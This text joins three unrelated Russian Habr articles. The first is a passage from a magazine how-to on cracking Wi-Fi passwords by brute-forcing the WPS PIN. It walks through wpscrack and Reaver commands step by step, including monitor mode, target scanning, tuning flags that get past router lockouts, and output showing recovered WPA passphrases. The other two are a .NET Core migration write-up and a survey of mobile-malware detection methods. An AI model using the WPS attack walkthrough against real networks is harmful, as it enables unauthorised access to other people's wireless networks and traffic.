3. Важный момент — возможная скорость перебора. Она ограничена скоростью обработки роутером WPS-запросов: одни точки доступа будут выдавать результат каждую секунду, другие — каждые десять секунд. Основное время при этом затрачивается на расчет открытого ключа по алгоритму Диффи-Хеллмана, он должен быть сгенерирован перед шагом M3. Затраченное на это время можно уменьшить, выбрав на стороне клиента простой секретный ключ, который в дальнейшем упростит расчеты других ключей. Практика показывает, что для успешного результата обычно достаточно перебрать лишь половину всех вариантов, и в среднем брутфорс занимает всего от четырех до десяти часов.
###### Рисунок 4. Блок-схема брутфорса PIN-кода WPS
#### Первая реализация
Первой появившейся реализацией брутфорса стала утилита [wpscrack](http://goo.gl/9wABj), написанная исследователем Стефаном Фибёком на языке Python. Утилита использовала библиотеку Scapy, позволяющую инъектировать произвольные сетевые пакеты. Сценарий можно запустить только под Linux-системой, предварительно переведя беспроводной интерфейс в режим мониторинга. В качестве параметров необходимо указать имя сетевого интерфейса в системе, MAC-адрес беспроводного адаптера, а также MAC-адрес точки доступа и ее название (SSID).
`$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v
sniffer started
trying 00000000
attempt took 0.95 seconds
trying 00010009
<...>
trying 18660005
attempt took 1.08 seconds
trying 18670004 # found 1st half of PIN
attempt took 1.09 seconds
trying 18670011
attempt took 1.08 seconds
<...>
trying 18674095 # found 2st half of PIN
<...>
Network Key:
0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo
0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras
0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac
0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65 king_this_one
<...>`
Как видишь, сначала была подобрана первая половина PIN-кода, затем — вторая, и в конце концов программа выдала готовый к использованию ключ для подключения к беспроводной сети. Сложно представить, сколько времени потребовалось бы, чтобы подобрать ключ такой длины (61 символ) ранее существовавшими инструментами. Впрочем, wpscrack не единственная утилита для эксплуатации уязвимости, и это довольно забавный момент: в то же самое время над той же самой проблемой работал и другой исследователь — Крейг Хеффнер из компании Tactical Network Solutions. Увидев, что в Сети появился работающий PoC для реализации атаки, он опубликовал свою утилиту [Reaver](http://code.google.com/p/reaver-wps). Она не только автоматизирует процесс подбора WPS-PIN и извлекает PSK-ключ, но и предлагает большее количество настроек, чтобы атаку можно было осуществить против самых разных роутеров. К тому же она поддерживает намного большее количество беспроводных адаптеров. Мы решили взять ее за основу и подробно описать, как злоумышленник может использовать уязвимость в протоколе WPS для подключения к защищенной беспроводной сети.
#### HOW-TO
Как и для любой другой атаки на беспроводную сеть, нам понадобится Linux. Тут надо сказать, что Reaver присутствует в репозитории всеми известного дистрибутива [BackTrack](http://backtrack-linux.org), в котором к тому же уже включены необходимые драйвера для беспроводных устройств. Поэтому использовать мы будем именно его.
**Шаг 0. Готовим систему**
На официальном сайте BackTrack 5 R1 доступен для загрузки в виде виртуальной машины под VMware и загрузочного образа ISO. Рекомендую последний вариант. Можно просто записать образ на болванку, а можно с помощью программы [UNetbootin](http://unetbootin.sourceforge.net) сделать загрузочную флешку: так или иначе, загрузившись с такого носителя, мы без лишних заморочек сразу будем иметь систему, готовую к работе.
**Шаг 1. Вход в систему**
Логин и пароль для входа по умолчанию – root:toor. Оказавшись в консоли, можно смело стартовать «иксы» (есть отдельные сборки BackTrack — как с GNOME, так и KDE):
`$ startx`
**Шаг 2. Установка Reaver**
Чтобы загрузить Reaver, нам понадобится интернет. Поэтому подключаем патчкорд или настраиваем беспроводной адаптер (меню «Applications > Internet > Wicd Network Manager»). Далее запускаем эмулятор терминала, где загружаем последнюю версию утилиты через репозиторий:
`$ apt-get update
$ apt-get install reaver`
Тут надо сказать, что в репозитории находится версия 1.3, которая лично у меня заработала неправильно. Поискав информацию о проблеме, я нашел пост автора, который рекомендует обновиться до максимально возможной версии, скомпилировав исходники, взятые из SVN. Это, в общем, самый универсальный способ установки (для любого дистрибутива).
`$ svn checkout reaver-wps.googlecode.com/svn/trunk reaver-wps
$ cd ./reaver-wps/src/
$ ./configure
$ make
$ make install`
Никаких проблем со сборкой под BackTrack не будет — проверено лично. В дистрибутиве Arch Linux, которым пользуюсь я, установка производится и того проще, благодаря наличию соответствующего PKGBUILD'а:
`$ yaourt -S reaver-wps-svn`
###### Рисунок 5. Пример работы брутфорcа Reaver
**Шаг 3. Подготовка к брутфорсу**
Для использования Reaver необходимо проделать следующие вещи:
* перевести беспроводной адаптер в режим мониторинга;
* узнать имя беспроводного интерфейса;
* узнать MAC-адрес точки доступа (BSSID);
* убедиться, что на точке активирован WPS.
Для начала проверим, что беспроводной интерфейс вообще присутствует в системе:
`$ iwconfig`
Если в выводе этой команды есть интерфейс с описанием (обычно это wlan0) – значит, система распознала адаптер (если он подключался к беспроводной сети, чтобы загрузить Reaver, то лучше оборвать подключение). Переведем адаптер в режим мониторинга:
`$ airmon-ng start wlan0`
Эта команда создает виртуальный интерфейс в режиме мониторинга, его название будет указано в выводе команды (обычно это mon0). Теперь нам надо найти точку доступа для атаки и узнать её BSSID. Воспользуемся утилитой для прослушки беспроводного эфира airodump-ng:
`$ airodump-ng mon0`
На экране появится список точек доступа в радиусе досягаемости. Нас интересуют точки с шифрованием WPA/WPA2 и аутентификацией по ключу PSK. Лучше выбирать одну из первых в списке, так как для проведения атаки желательна хорошая связь с точкой. Если точек много и список не умещается на экране, то можно воспользоваться другой известной утилитой — kismet, там интерфейс более приспособлен в этом плане. Опционально можно на месте проверить, включен ли на нашей точке механизм WPS. Для этого в комплекте с Reaver (но только если брать его из SVN) идет утилита wash:
`$ ./wash -i mon0`
В качестве параметра задается имя интерфейса, переведенного в режим мониторинга. Также можно использовать опцию '-f' и скормить утилите .cap файл, созданный, например, тем же airodump-ng. По непонятной причине в пакет Reaver в BackTrack не включили утилиту wash. Будем надеяться, к моменту публикации статьи эту ошибку исправят.
**Шаг 4. Запускаем брутфорс**
Теперь можно приступать непосредственно к перебору PIN’а. Для старта Reaver в самом простом случае нужно немного. Необходимо лишь указать имя интерфейса (переведенного нами ранее в режим мониторинга) и BSSID точки доступа:
`$ reaver -i mon0 -b 00:21:29:74:67:50 -vv`
Ключ "-vv" включает расширенный вывод программы, чтобы мы могли убедиться, что все работает как надо.
`Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
[+] Waiting for beacon from 00:21:29:74:67:50
[+] Associated with 00:21:29:74:67:50 (ESSID: linksys)
[+] Trying pin 63979978`
Если программа последовательно отправляет PIN’ы точке доступа, значит, все завелось хорошо, и остается тупо ждать. Процесс может затянуться. Самое короткое время, за которое мне удалось сбрутфорсить PIN, составило примерно пять часов. Как только он будет подобран, программа радостно об этом сообщит:
`[+] Trying pin 64637129
[+] Key cracked in 13654 seconds
[+] WPS PIN: '64637129'
[+] WPA PSK: 'MyH0rseThink$YouStol3HisCarrot!'
[+] AP SSID: 'linksys'`
Самое ценное здесь — это, конечно же, ключ WPA-PSK, который сразу же можно использовать для подключения. Все так просто, что даже не укладывается в голове.
###### Рисунок 6. Reaver Pro — железка от создателей Reaver
#### Можно ли защититься?
Защититься от атаки можно пока одним способом — отключить нафиг WPS в настройках роутера. Правда, как оказалось, сделать это возможно далеко не всегда. Поскольку уязвимость существует не на уровне реализации, а на уровне протокола, ждать от производителей скорого патча, который решил бы все проблемы, не стоит. Самое большее, что они могут сейчас сделать, – это максимально противодействовать брутфорсу. Например, если блокировать WPS на один час после пяти неудачных попыток ввода PIN-кода, то перебор займет уже около 90 дней. Но другой вопрос, насколько быстро можно накатить такой патч на миллионы устройств, которые работают по всему миру?
---
#### Прокачиваем Reaver
В HOWTO мы показали самый простой и наиболее универсальный способ использования утилиты Reaver. Однако реализация WPS у разных производителей отличается, поэтому в некоторых случаях необходима дополнительная настройка. Ниже я приведу дополнительные опции, которые могут повысить скорость и эффективность перебора ключа.
1. Можно задать номер канала и SSID точки доступа:
`# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys`
2. Благотворно сказывается на скорости брутфорса опция '--dh-small', которая задает небольшое значение секретного ключа, тем самым облегчая расчеты на стороне точки доступа:
`# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small`
3. Таймаут ожидания ответа по умолчанию равен пяти секундам. При необходимости его можно изменить:
`# reaver -i mon0 -b 00:01:02:03:04:05 -t 2`
4. Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:
`# reaver -i mon0 -b 00:01:02:03:04:05 -d 0`
5. Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь. Reaver эту ситуацию замечает и делает паузу в переборе на 315 секунд по умолчанию, длительность этой паузы можно менять:
`# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250`
6. Некоторые реализации протокола WPS разрывают соединение при неправильном PIN-коде, хотя по спецификации должны возвращать особое сообщение. Reaver автоматически распознает такую ситуацию, для этого существует опция '--nack':
`# reaver -i mon0 -b 00:01:02:03:04:05 --nack`
7. Опция '--eap-terminate' предназначена для работы с теми АР, которые требуют завершения WPS-сессии с помощью сообщения EAP FAIL:
`# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate`
8. Возникновение ошибок в WPS-сессии может означать, что АР ограничивает число попыток ввода PIN-кода, либо просто перегружена запросами. Информация об этом будет отображаться на экране. В этом случае Reaver приостанавливает свою деятельность, причем время паузы может быть задано с помощью опции '--fail-wait':
`# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360`
---
#### FAQ
**Вопрос:** Какой беспроводной адаптер нужен для взлома?
**Ответ:** Перед тем как экспериментировать, нужно убедиться, что беспроводной адаптер может работать в режиме мониторинга. Лучший способ — свериться со списком поддерживаемого оборудования на сайте проекта Aircrack-ng (bit.ly/wifi\_adapter\_list). Если же встанет вопрос о том, какой беспроводный модуль купить, то начать можно с любого адаптера на чипсете RTL8187L. USB’шные донглы легко найти в интернете за 20$.
**Вопрос:** Почему у меня возникают ошибки «timeout» и «out of order»?
**Ответ:** Обычно это происходит из-за низкого уровня сигнала и плохой связи с точкой доступа. Кроме того, точка доступа может на время заблокировать использование WPS.
**Вопрос:** Почему у меня не работает спуфинг MAC-адреса?
**Ответ:** Возможно, ты спуфишь MAC виртуального интерфейса mon0, а это работать не будет. Надо указывать имя реального интерфейса, например, wlan0.
**Вопрос:** Почему при плохом сигнале Reaver работает плохо, хотя тот же взлом WEP проходит нормально?
**Ответ:** Обычно взлом WEP происходит путем повторной пересылки перехваченных пакетов, чтобы получить больше векторов инициализации (IV), необходимых для успешного взлома. В этом случае неважно, потерялся какой-либо пакет, либо как-то был поврежден по пути. А вот для атаки на WPS необходимо строгое следование протоколу передачи пакетов между точкой доступа и Reaver для проверки каждого PIN-кода. И если при этом какой-то пакет потеряется, либо придет в непотребном виде, то придется заново устанавливать WPS-сессию. Это делает атаки на WPS гораздо более зависимыми от уровня сигнала. Также важно помнить, что если твой беспроводной адаптер видит точку доступа, то это ещё не значит, что и точка доступа видит тебя. Так что если ты являешься счастливым обладателем высокомощного адаптера от ALFA Network и антенны на пару десятков dBi, то не надейся, что получится поломать все пойманные точки доступа.
**Вопрос:** Reaver все время посылает точке доступа один и тот же PIN, в чем дело?
**Ответ:** Проверь, активирован ли на роутере WPS. Это можно сделать при помощи утилиты wash: запусти её и проверь, что твоя цель находится в списке.
**Вопрос:** Почему я не могу ассоциироваться с точкой доступа?
**Ответ:** Это может быть из-за плохого уровня сигнала или потому, что твой адаптер непригоден для подобных изысканий.
**Вопрос:** Почему я постоянно получаю ошибки «rate limiting detected»?
**Ответ:** Это происходит потому, что точка доступа заблокировала WPS. Обычно это временная блокировка (около пяти минут), но в некоторых случаях могут влепить и перманентный бан (разблокировка только через административную панель). Есть один неприятный баг в Reaver версии 1.3, из-за которого не определяются снятия подобных блокировок. В качестве воркэраунда предлагают использовать опцию '--ignore-locks' или скачать последнюю версию из SVN.
**Вопрос:** Можно ли одновременно запустить два и более экземпляров Reaver для ускорения атаки?
**Ответ:** Теоретически можно, но если они будут долбить одну и ту же точку доступа, то скорость перебора едва ли увеличится, так как в данном случае она ограничивается слабым железом точки доступа, которое уже при одном атакующем загружается по полной.
---
#### Экспресс-курс по взлому Wi-Fi
1. **WEP** (Wired Equivalent Privacy). Самая первая технология для защиты беспроводной сети оказалась крайне слабой. Взломать ее можно буквально за несколько минут, используя слабости применяемого в ней шифра RC4. Основными инструментами здесь служат снифер airodump-ng для сбора пакетов и утилита aircrack-ng, используемая непосредственно для взлома ключа. Также существует специальная тулза wesside-ng, которая вообще взламывает все близлежащие точки с WEP в автоматическом режиме.
2. **WPA/WPA2** (Wireless Protected Access). Перебор — это единственный способ подобрать ключ для закрытой WPA/WPA2 сети (да и то исключительно при наличии дампа так называемого WPA Handshake, который передается в эфир при подключении клиента к точке доступа). Брутфорс может затянуться на дни, месяцы и годы. Для увеличения эффективности перебора сначала использовались специализированные словари, потом были сгенерированы радужные таблицы, позже появились утилиты, задействовавшие технологии NVIDIA CUDA и ATI Stream для аппаратного ускорения процесса за счет GPU. Используемые инструменты — aircrack-ng (брутфорс по словарю), cowpatty (с помощью радужных таблиц), pyrit (с использованием видеокарты).
*Журнал Хакер, [Март (03) 158](http://www.xakep.ru/articles/magazine/default.asp)
Автор: [pkruglov](https://habrahabr.ru/users/pkruglov/) ([ivinside.blogspot.com](http://ivinside.blogspot.com))*
Полистать этот материал в журнальной верстке можно [здесь](http://issuu.com/xakep_magazine/docs/wps_hack).
Подпишись на «Хакер»
* [1 999 р. за 12 номеров бумажного варианта](http://bit.ly/habr_subscribe_paper)
* [1249р. за годовую подписку на iOS/iPad (релиз Android'а скоро!)](http://bit.ly/digital_xakep)
* [«Хакер» на Android](http://bit.ly/habr_android)
[](http://bit.ly/xakep_on_ipad) | https://habr.com/ru/post/143834/ | null | ru | null |
# О чем не пишут в документации, или тонкости рефакторинга на .Net Core
Всем привет! Этим материалом мы открываем цикл из нескольких статей, посвященных длинной истории о том, как мы пришли с одной стороны к CD, а с другой — к high availability, основанной на избыточности.
Начнем по порядку. У нас есть API для мобильного приложения, которое находится в продуктовой среде, написанный на .NET.
И первым шагом мы переводим его на .NET Core и делимся с вами тонкостями, которые встретились нам на этом пути.
Несколько фактов о нашем web API:
* 110 методов,
* сервис push уведомлений,
* сервис управлениями баннерам,
* 35K запросов в день.
Задача очень простая и понятная — построить конвейер CD, так как наше приложение быстро и динамично развивается, и нам нужно руководствоваться принципом “done значит released”.
Как это сейчас развернуто на текущей продуктовой среде:
К чему идем:
Как мы будем это делать:
* Разрабатываем методику автоматического тестирования, покрываем тестами и включаем в процесс сборки,
* Переводим наш сервис на .NET Core,
* Настраиваем сборку в Docker контейнер (под Linux — ну не зря же мы на Core замахнулись),
* Разворачиваем кластер Kubernetes в продуктовой и тестовой средах,
* Заезжаем в них.
Все выглядит очень просто и логично. Но мы уверены, на этом пути мы наверняка столкнемся с некоторым количеством проблем, вопросов, сложностей и т.д. и попробуем вам о них последовательно рассказать. Набираемся терпения и беремся за дело.
Начинаем с перехода с ASP.NET Web Api 2 на ASP.NET Core 2 для core-части мобильного сервиса (пока без пушей и баннеров. С ними разберемся чуть позже, если будут подводные камни — расскажем в отдельной статье).
Задач много. Часть из них решается достаточно стандартными способами, следуя [официальному мануалу](https://docs.microsoft.com/en-us/aspnet/core/migration/proper-to-2x/), но есть и то, что не лежит на поверхности. И, вероятно, вызовет у вас вопросы при решении аналогичной задачи. Ими и хотим с вами поделиться.
Наш план рефакторинга мобильного сервиса выглядит следующим образом:
**1. Создаем в Visual Studio 2017 новое решение**
* Проект ASP .NET Core Web Application с темплейтом Web Api для основного проекта.
* Class Library (.NET Standard) для вспомогательных проектов.
**2. Подключаем внешние зависимости**
2.1 Подключаем WCF сервисы
Первым делом сверяемся с [таблицей](https://github.com/dotnet/wcf/blob/master/release-notes/SupportedFeatures-v2.0.0.md), есть ли в .Net Core 2.0 поддержка нужных фич WCF клиента.
То, что раньше называлось Service References, теперь именуется Connected Services. Добавляем в проект WCF Web Service Reference через меню Add Connected Service.
Поскольку в ASP.NET Core теперь нет Web.config-файлов, все настройки WCF клиента хранятся в сгенерированном коде Reference.cs.
В классе клиента предусмотрен метод для ввода дополнительных настроек клиента:
`static partial void ConfigureEndpoint(ServiceEndpoint serviceEndpoint, ClientCredentials clientCredentials)`
Пишем реализацию partial метода. В нашем случае в этом методе прописаны Credentials для авторизации в сервисе.
Помимо изменений в настройках клиента второе серьезное изменение — в клиенте больше нет синхронных методов. У нас async-вариант использовался сразу.
2.2. Подключаем nuget-пакеты TimeZoneConverter, Swashbuckle, Mime, XmlSerializer.Generator
С переносом пакетов TimeZoneConverter, Swashbuckle, Mime никаких проблем не возникло.
Поговорим о находках. При использовании стандартного Xml-сериализатора есть важный момент: кодогенератор запускается в рантайме при первом использовании. Соответственно, это увеличивает время холодного старта. Такое поведение можно обнаружить, если в студии у вас отключен Just My Code. Беглый поиск по интернету вывел нас на [nuget-пакет XmlSerializer.Generator](https://docs.microsoft.com/ru-ru/dotnet/core/additional-tools/xml-serializer-generator), который пришел на замену sgen и поддерживает минимальные Net Core 2 и Net Standard 2. Его предназначение — генерация кода xml сериализатора в compile-time.
С удовольствием добавляем его в проект. Пакет автоматически включается в последовательность сборки проекта.
Из ограничений:
а) Генератор не умеет резолвить названия классов с учетом namespace, поэтому придется избавиться от дублирования названий DTO-классов, если таковые имеются.
b) Ленивые люди используют xmltocsharp.azurewebsites.net для генерации DTO-классов из XML описания. Онлайн-сервис грешит повсеместной расстановкой XmlRoot-атрибутов. Генератор обижается на такое поведение. Огнем и мечом выкашиваем из ненужных мест XmlRoot.
**3. Транслируем Global.asax в Startup.cs.**
* Используем стандартный IoC контейнер.
* HttpHandler в .NET Core заменены на middleware, переписываем их. Фильтры остались фильтрами.
* Поскольку мы отказались от IIS, настраиваем аутентификацию и Directory Browsing средствами ASP.NET.
* Подключаем для логирования стандартный логгер через ILoggerFactory. Планируем выбросить NLog и использовать Serilog для ELK.
**4. Настраиваем конфигурации**
4.1. Настраиваем окружение через IHostingEnvironment.Environment
Мы планируем на выходе билда получать единственный докер-образ и пропускать его в неизменном виде через все среды тестирования. Настройка окружения должна полностью управляться через переменную окружения ASPNETCORE\_ENVIRONMENT. Поэтому по максимуму избавляемся от условной компиляции в коде и смотрим на значение IHostingEnvironment.Environment.
4.2. Переносим блок AppSettings из в Web.{configuration}.config в AppSettings.{environment}.json.
4.3. Прописываем для WCF сервисов конфигурацию для окружений Dev, Test, Stage, Release.
**5. Убираем зависимость от HttpContext**
HttpContext синглтон сыграл в ящик, на смену ему пришел IHttpContextAccessor.
Вот 3 вещи, которые были затронуты таким изменением:
* HttpContext.Current.AddErrors использовался для сквозного сбора различных ошибок в ходе обработки конкретного реквеста на тестовом сервере. Все собранные ошибки затем в специальном HttpHandler записывались в warning\_message в теле респонса, что позволяло быстрее диагностировать проблемы.
Вместо HttpContext.Current.AddErrors будем пользоваться IHttpContextAccessor.HttpContext.Items
* HttpContext.Current.HttpContext.Timestamp использовался для
a. замера времени реквеста,
b. тегирования операций, связанных с определенным реквестом, в логах.
С увеличением количества запросов стали часто сталкиваться с перекрытием запросов по Timestamp, т.е. один и тот же тег использовался для разных запросов. В NET Core доступно свойство IHttpContextAccessor.HttpContext.TraceIdentifier — действительно уникальный идентификатор.
* Теперь для получения IP не нужно использовать никакой магии, все находится в одном месте — IHttpContextAccessor.HttpContext.Connection.RemoteIpAddress.
**6. Переносим код контроллеров**
6.1. ASP NET WebApi был поглощён в ASP NET MVC.
Затронуты маршрутизация, биндинг, negotiation, исчезли многие классы — начиная с ApiController и далее.
Для того, чтобы обойтись минимальной кровью при переносе кода контроллеров, есть workaround в виде [nuget-пакета WebApiCompatShim](https://www.strathweb.com/2015/01/migrating-asp-net-web-api-mvc-6-exploring-web-api-compatibility-shim/), который эмулирует концепции Web Api на базе MVC.
Мы же решили сразу отказаться от прослойки и пользоваться чистым MVC со своими костылями, чтобы почувствовать боль и явно понимать, какой объем работы предстоит сделать, для того, чтобы в скором светлом будущем привести все к надлежащему виду по последнему слову ASP NET Core. Как оказалось, все совсем не грустно.
* Меняем ApiController на Controller.
* Для expires и cache-control респонс-хедеров используем ResponseCache-атрибут из коробки.
* Для кастомных реквест-хедеров ASP NET Core может нас порадовать уже реализованным FromHeader-атрибутом.
* Биндинг FromUri заменяем на FromQuery.
6.2. Пишем свой HttpResponseException
В проекте по старинке в action возвращается результирующий объект вместо IActionResult. В .NET Core, о горе, убрали HttpResponseException, объясняя тем, что разработчики платформы заботятся о правильном использовании их детища и подсказывают нам не использовать исключения для логики запросов — bad request, unauthorized и т.д…
Договорившись с совестью, откладываем рутину на потом и пилим свой HttpResponseException и ActionFilter для него, ибо в рамках быстрого перехода переписывать все на IActionResult слишком долго. Да и к тому же, придется в каждом методе указать ProducesResponseType атрибут, по которому сваггер будет понимать класс результата для action и генерировать документацию.
```
public class HttpResponseException : Exception
{
public int StatusCode { get; private set; }
public string ContentType { get; private set; } = "text/plain";
public HttpResponseException(int statusCode)
{
StatusCode = statusCode;
}
public HttpResponseException(int statusCode, string message) : base(message)
{
StatusCode = statusCode;
}
}
public class HttpResponseExceptionFilter : IActionFilter
{
public void OnActionExecuting(ActionExecutingContext context)
{
}
public void OnActionExecuted(ActionExecutedContext context)
{
if (context.Exception is HttpResponseException)
{
var ex = (HttpResponseException)context.Exception;
context.Result = new ContentResult() {
StatusCode = ex.StatusCode,
Content = ex.Message,
ContentType = ex.ContentType
};
context.ExceptionHandled = true;
}
}
}
```
Для методов загрузки и отправки файлов сделали исключение: здесь по-честному переписали с HttpRequestMessage и HttpContent на FileContentResult и IFormFile, иначе никак нельзя.
**7. Документация**
* Включаем сборку XML документации.
* Обновляем фильтры и атрибуты сваггера Swashbuckle.
**P.S.** Не скажем, что рефакторинг был долгим по времени, но все же потребовал немало усилий. Этот опыт теперь с нами (и с вами) и в следующий раз мы c вами сможем пройти этот путь быстрее.
В следующей серии поделимся находками по настройке сборки в Docker-контейнер. Как говорится, «не переключайтесь». | https://habr.com/ru/post/348590/ | null | ru | null |
# Обнаружение мобильного вредоносного ПО в дикой природе
Смартфоны всё больше и больше проникают в нашу жизнь, для многих людей они стали незаменимым повседневным спутником. Эти гаджеты дают нам связь с другими людьми и развлекают нас. Мы доверяем им всё больше конфиденциальной и личной информации, и потому неудивительно, что злоумышленники уделяют мобильному сегменту всё более пристальное внимание. Начиная с 2004 года, когда Лаборатория Касперского [обнаружила](http://www.kaspersky.com/news?id=149499226&ClickID=bqudy66lygnevduqyvsyenmsqgsmqsmesgdg) первого сетевого мобильного червя Cabir, ежегодно появляется всё больше новых образцов вредоносного ПО. Соответственно, постепенно всё бОльшую актуальность обретает выработка методик обнаружения вредоносного ПО «в дикой природе», то есть в магазинах мобильных приложений.
### Что такое вредоносное ПО?
Вредоносным ПО (malware) называют приложения, предназначенные для совершения всевозможных противоправных действий. Сюда входят вирусы, ботнеты, черви, трояны и т.д. Сегодня вредоносное ПО очень широко используются для извлечения прибыли всевозможными путями, от кражи банковских аккаунтов до прямого вымогательства. Причём в этом теневом бизнесе крутятся большие деньги, что и привлекает всё новых и новых участников.
Технологии обнаружения вредоносного ПО в «больших» операционных системах уже достаточно разнообразны и весьма эффективны. Однако мобильный сегмент в индустрии обеспечения информационной безопасности пока находится в зачаточном состоянии.
Помимо вредоносного ПО, нужно упомянуть ещё две категории угроз для мобильных устройств — шпионское ПО (spyware) и условно-вредоносное ПО (grayware). Шпионские приложения втайне от пользователя собирают информацию о его перемещениях, SMS-переписку, историю звонков и т.д. В строгом смысле, если шпионское ПО не отправляет куда-то собранную информацию, то его нельзя назвать противозаконным. Но факт установки без ведома пользователя подобного приложения нельзя назвать этичным.
Условно-вредоносное ПО гораздо безобиднее «классического», но при этом довольно раздражающее. Например, относящаяся к подобному классу программка может поменять системные шрифты или их цвет, или выдавать всевозможные нелепые и глумливые сообщения. В общем, по аналогии с человеческим обществом, условно-вредоносное ПО — это мелкий хулиган, пакостник. Можно сказать, что grayware находится на краю легальности: авторы обычно не скрывают своих намерений и дают описание функционала своего ПО, но пользователи обычно жмут кнопку «Согласен» не читая условий лицензионного соглашения.
Многие специалисты по безопасности предпочитают классифицировать вредоносное ПО на основании поведенческих шаблонов и мотивации их авторов. Ниже представлены наиболее важные виды:
* Предлагающие пользователям всевозможные новинки и развлечения. Обычно такое ПО разрабатывается с целью развлечения самого автора и демонстрации его умений, в основном, с помощью бессмысленных деструктивных действий на устройстве жертвы. Пример: [Android.Walkinwat](http://www.symantec.com/security_response/writeup.jsp?docid=2011-033008-4831-99)
* Торгующие пользовательской информацией. Такие приложения втайне собирают данные о местоположении пользователя, об установленных приложениях, историю загрузок и содержимое списка контактов. На эту информацию есть устойчивый спрос со стороны рекламщиков и маркетологов. Пример: [DroidDreamLight](http://blog.trendmicro.com/trendlabs-security-intelligence/analysis-of-droiddreamlight-android-malware/)
* Похищающие финансовую информацию. Чаще всего это аккаунты к банковским счетам. Перехватываются текстовые сообщения, записываются все нажатые кнопки, применяются фишинговые атаки. Пример: [Ikee.B](https://www.f-secure.com/v-descs/worm_iphoneos_ikee_b.shtml)
* Манипулирующие доставкой различного контента. Такое ПО предназначено для осуществления персональных звонков и рассылки SMS с предложениями технической поддержки, биржевых сводок, интимных услуг и т.д. Пример: [FakePlayer](http://www.symantec.com/security_response/writeup.jsp?docid=2010-081100-1646-99)
* Рассылающие SMS-спам. С номера жертвы начинается рассылка спама, обычного содержащего рекламу и фишинговые ссылки. Пример: [Geinimi](http://www.symantec.com/security_response/writeup.jsp?docid=2011-010111-5403-99)
* Манипулирующие поисковыми результатами. Искусственно поднимают в поисковой выдаче различные сайты. Пример: [Hong Tou Tou](https://blog.lookout.com/blog/2011/02/15/security-alert-hongtoutou-new-android-trojan-found-in-china/)
### Способы определения вредоносного ПО
Каждая из существующих методик определения мобильного вредоносного ПО имеет свои достоинства и недостатки.
**Статический анализ кода**
Это быстрый и малозатратный способ. Он заключается в поиске вредоносных характеристик или подозрительных кусков кода без запуска приложения. Изображённые ниже методики широко используются для предварительного анализа, когда нужно впервые проверить подозрительное приложение на самый очевидный вредоносный функционал.
Первые две ветки характерны для определения вредоносного ПО в Symbian OS и iOS, поэтому его описание мы опустим. Нас интересует третья ветка схемы, которая описывает алгоритм действий под Android. C помощью [декомпилятора](http://siis.cse.psu.edu/ded/) генерируется исходный код приложения. Далее он подвергается статическому анализу инструментами из программного пакета [Fortify SCA](http://www8.hp.com/us/en/software-solutions/application-security/index.html). К недостаткам этой методики можно отнести то, что в целом она подходит только для анализа приложений с относительно небольшим количеством прав доступа и вызовов API.
**Динамический анализ кода**
В отличие от статического, динамический анализ подразумевает исполнение приложения в изолированном окружении. Например, внутри виртуальной машины или эмулятора, чтобы можно было отслеживать поведение приложения. Чаще всего динамический анализ используется при трассировке системных вызовов или taint-отслеживании.
Для динамического taint-анализа в масштабах системы можно использовать инструмент [TaintDroid](https://github.com/TaintDroid). На иллюстрации ниже показано, как приложение сначала отправляется в виртуальную машину, где подвергается оценке на четырёх уровнях: переменных, методов, сообщений и файлов. Во время taint-отслеживания любые запросы данных из модуля геолокации, микрофона, камеры и т.д. Данный метод подразумевает, что все нативные библиотеки вызываются только из виртуальной машины, а не напрямую. И наконец, при динамическом анализе определяются потенциальные утечки данных прежде, чем информация передаётся из системы в сетевой интерфейс.
Тестирование многих популярных Android-приложений от сторонних разработчиков показало, что существенное количество из них отправляют рекламным фирмам информацию о местоположении пользователей. Некоторые даже пересылают на удалённые серверы телефонные идентификаторы. Однако TaintDroid может выдавать как ложно-негативные, так и ложно-позитивные результаты анализа. К тому же этот инструментарий позволяет анализировать лишь один вид уязвимостей — потоки данных.
Во второй части иллюстрации представлена система двухэтапного анализа Android-приложений с помощью «песочницы» (AASandbox). В ней бинарные файлы сначала дизассемблируются, а в [полученном коде](http://code.google.com/p/smali/) проводится поиск характерных шаблонов. Затем, в ходе динамического анализа приложение исполняется в Android-эмуляторе, а все системные вызовы записываются в журнал. Если нет возможности взять реальные входные данные, сгенерированные пользователями, то можно воспользоваться инструментом Android Monkey (ADB Monkey).
**Анализ прав доступа приложения**
В мобильных приложениях права доступа играют ключевую роль: они показывают пользователю намерения приложений и активность бэкэнда. В смартфонах права доступа задаются явным образом, поэтому авторы приложений должны их также явно запрашивать. Однако некоторые намеренно скрывают используемые приложением права, что приводит к появлению уязвимостей.
Ниже изображена схема работы инструмента для анализа прав доступа Android-приложений, Kirin. В ходе установки изучаемого приложения он извлекает настройки безопасности и сверяет их с имеющейся политикой безопасности. Если приложение не проходит проверку, то Kirin предупреждает пользователя, или даже удаляет приложение.
Пример политики безопасности Kirin:
`An application must not have PHONE_STATE,RECORD_AUDIO, and INTERNET permission labels’`
Это правило запрещает приложению записывать аудио или получать доступ к интернету, пока пользователь говорит по телефону. Это позволяет избежать прослушивания телефонных разговоров.
Проведённое в 2011 году [исследование](http://static.usenix.org/events/webapps11/tech/final_files/Felt.pdf) 100 платных и 856 бесплатных Android-приложений показало, что около 93% бесплатных и 82% платных запрашивают получение как минимум одного потенциально опасного права доступа. Среди них наиболее распространённым был запрос на доступ к сети, даже если назначение приложения не подразумевало его использования.
К недостаткам Kirin можно отнести то, что анализа запросов на получение прав недостаточно для выявления вредоносного ПО, это вспомогательный инструмент, который нужно использовать одновременно со статическим или динамическим анализом кода.
**Анализ с помощью облачных сервисов**
